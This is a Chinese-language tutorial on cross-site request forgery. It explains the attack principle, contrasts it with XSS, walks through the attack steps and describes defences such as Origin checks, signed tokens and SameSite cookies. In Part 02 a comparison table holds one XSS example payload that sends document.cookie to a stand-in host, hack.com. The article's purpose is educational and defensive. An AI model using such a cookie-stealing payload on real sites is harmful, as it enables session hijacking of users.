Part 01
● 什么是CSRF ●
CSRF(Cross-site request forgery)简称:跨站请求伪造,跟XSS攻击一样,存在巨大的危害性。在CSRF的攻击场景中,攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了,所以CSRF攻击也称为one-click attack。
Part 02
● CSRF与XSS的区别 ●
与XSS相比,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。
从漏洞存在的位置上(CSRF存在于所有请求-响应模式的功能上,XSS存在于将用户输入回显前端web页面的位置上);从攻击效果上(CSRF主要是执行网站自身已有功能,XSS主要是用于获取Cookie)。
攻击类型 |
攻击示例 |
说明 |
CSRF |
|
|
http://www.bank.com/xss_page?xss_parameter='><script>document.location='http://www.hack.com/save_cookie?cookie='+document.cookie</script>' |
发送的请求是bank网站的页面,目标是hack网站页面 |
Part 03
● CSRF攻击原理 ●
HTTP是无状态协议,服务器只能根据当前请求的参数(包括Head和Body的数据)来判断本次请求需要达到的目的(Get或者Post都一样),服务器并不知道这个请求之前干了什么事,这就是无状态协议。
但是我们现实很多情况需要有状态,比如登录态的身份信息,网页上很多操作需要登录之后才能操作。目前的解决方案是每次HTTP请求都把登录态信息传给后台服务器,后台通过登录态信息是判断用户合法性之后再处理这个请求要处理的操作。
如何让每次HTTP请求都带上登录态信息,所以就出现了Cookie。登录态Cookie是浏览器默认自动携带的,我们在浏览器上发送HTTP请求的时候,浏览器会把该域名下的Cookie带上,一并发送到服务器。那么问题就来了,浏览器不管当前发送请求的是哪个网站,在哪个页面上发送的请求,只要你请求的域名在浏览器里保存有Cookie信息,浏览器都会一并带上。
所以只要用户C曾经登录过网站A,在没有关闭浏览器的情况下打开一个黑客网页B,黑客页面发送HTTP请求到网站A的后台,会默认带上网站A的登录态Cookie,也就能模拟用户C做一些增删改等敏感操作。这就是CSRF攻击原理。
Part 04
● CSRF攻击过程 ●
(1) 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
(2) 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
(3) 用户未退出网站A之前,在同一浏览器中,打开一个标签页访问危险网站B;
(4) 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
(5) 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。
(6) 网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。
我们可以这样理解:
攻击者盗用了用户C的身份,以用户C的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者期望的操作,比如以用户C的名义发送邮件,甚至于购买商品、虚拟货币转账等。
Part 05
● CSRF防护方法 ●
1、验证HTTP请求头
HTTP请求头会默认带上Referer字段和Origin字段,Referer记录了该请求的来源地址,Origin记录请求来源域名。通过我们通过判断这2个字段的值,可以确认该请求是否来自安全站点,以此来阻止第三方恶意请求。
由于Referer值会记录用户的访问来源地址,有些用户认为这样会侵犯到自己的隐私,特别是有些组织担心Referer值会把内网中的某些信息泄露到外网中。 因此,用户自己可以设置浏览器在发送请求时不再提供Referer。当他们正常访问银行网站时,网站会因为请求没有Referer值而认为是CSRF攻击,拒绝合法用户的访问。因此推荐使用Origin校验。
2、Token机制
CSRF防护的一个重点是对“用户凭证Token”进行校验,通过这种机制可以对用户的请求进行合法性判断,判断是不是跨站攻击的行为。我们在Token中加入随机字符串和过期时间戳,对其进行有效期管理,并加上签名校验。如果的凭证被人盗用了,先判断Token中的“签名”与时间戳是否都有效,再进行正常的业务处理,这样通过对非法数据的校验过滤,来降低CSRF攻击的成功率。
Token由三部分组成:
(1) 消息[msg]:消息本身由两部分组成:随机字符串和过期时间戳。
(2) 分割符[separator]:用于分隔msg与加密后生成的signature签名,这里用的是”;“。
(3) 签名[signature]:签名是对“msg”用特定算法进行加密后的字符串。
当用户向服务发送请求时,服务器需要先进行分解,得到msg部分和signature签名部分,比对签名和判断token是否过期,一旦传向请求中携带的Token校验异常,就可以判定是可疑行为,不做处理。
3. 在请求头中自定义属性并验证
这种方法也是使用token并进行验证,不同的是,这里不是把token以参数的形式置于HTTP请求之中,而是把它放到请求头中自定义的属性里。通过XMLHttpRequest请求封装,可以一次性给所有请求加上csrftoken这个自定义属性,并把token值放入其中。同时,通过XHR请求的地址不会被记录到浏览器的地址栏,也不用担心token会透过Referer泄露到其他网站去。
然而这种方法的局限性非常大。XHR请求通常用于页面局部的异步刷新,并非所有的请求都适合用这个类来发起,而且通过该类请求得到的页面不能被浏览器所记录下,从而不能进行前进、后退、刷新等操作,给用户带来不便。
4. Cookie的SameSite属性
CSRF攻击就是利用了cookie中携带的用户信息,想要防护Cookie不被第三方网站利用,我们可以通过设置Samesite属性。SameSite最初设计的目的就是防CSRF,SameSite有三个值Strict/Lax/None。
(1) Strict最为严格。如果SameSite的值是Strict,那么浏览器会完全禁止第三方。
(2) Lax相对宽松一点。在跨站点的情况下,从第三方站点的链接打开和从第三方站点提交Get方式的表单这两种方式都会携带Cookie。但如果在第三方站点中使用Post方法,或者通过img、iframe等标签加载的URL,这些场景都不会携带 Cookie。
(3) 而如果使用None的话,在任何情况下都会发送Cookie数据。
对于防范CSRF攻击,我们可以针对实际情况将一些关键的Cookie设置为Strict或者Lax模式,这样在跨站点请求时,这些关键的Cookie就不会被发送到服务器,从而使得黑客的CSRF攻击失效。
以上是技术层面的防护方法,常用的是验证HTTP请求头和Token机制。实际Web应用是使用WAF(Web应用防火墙,如免费的ShareWAF)。因为CSRF只是众多Web攻击中的一种,WAF可以低于绝大多数的攻击,极大的提高网站安全性。
参考文献
[1]陈振. CSRF攻击的原理解析与对策研究[J]
[2]https://blog.csdn.net/stpeace/article/details/53512283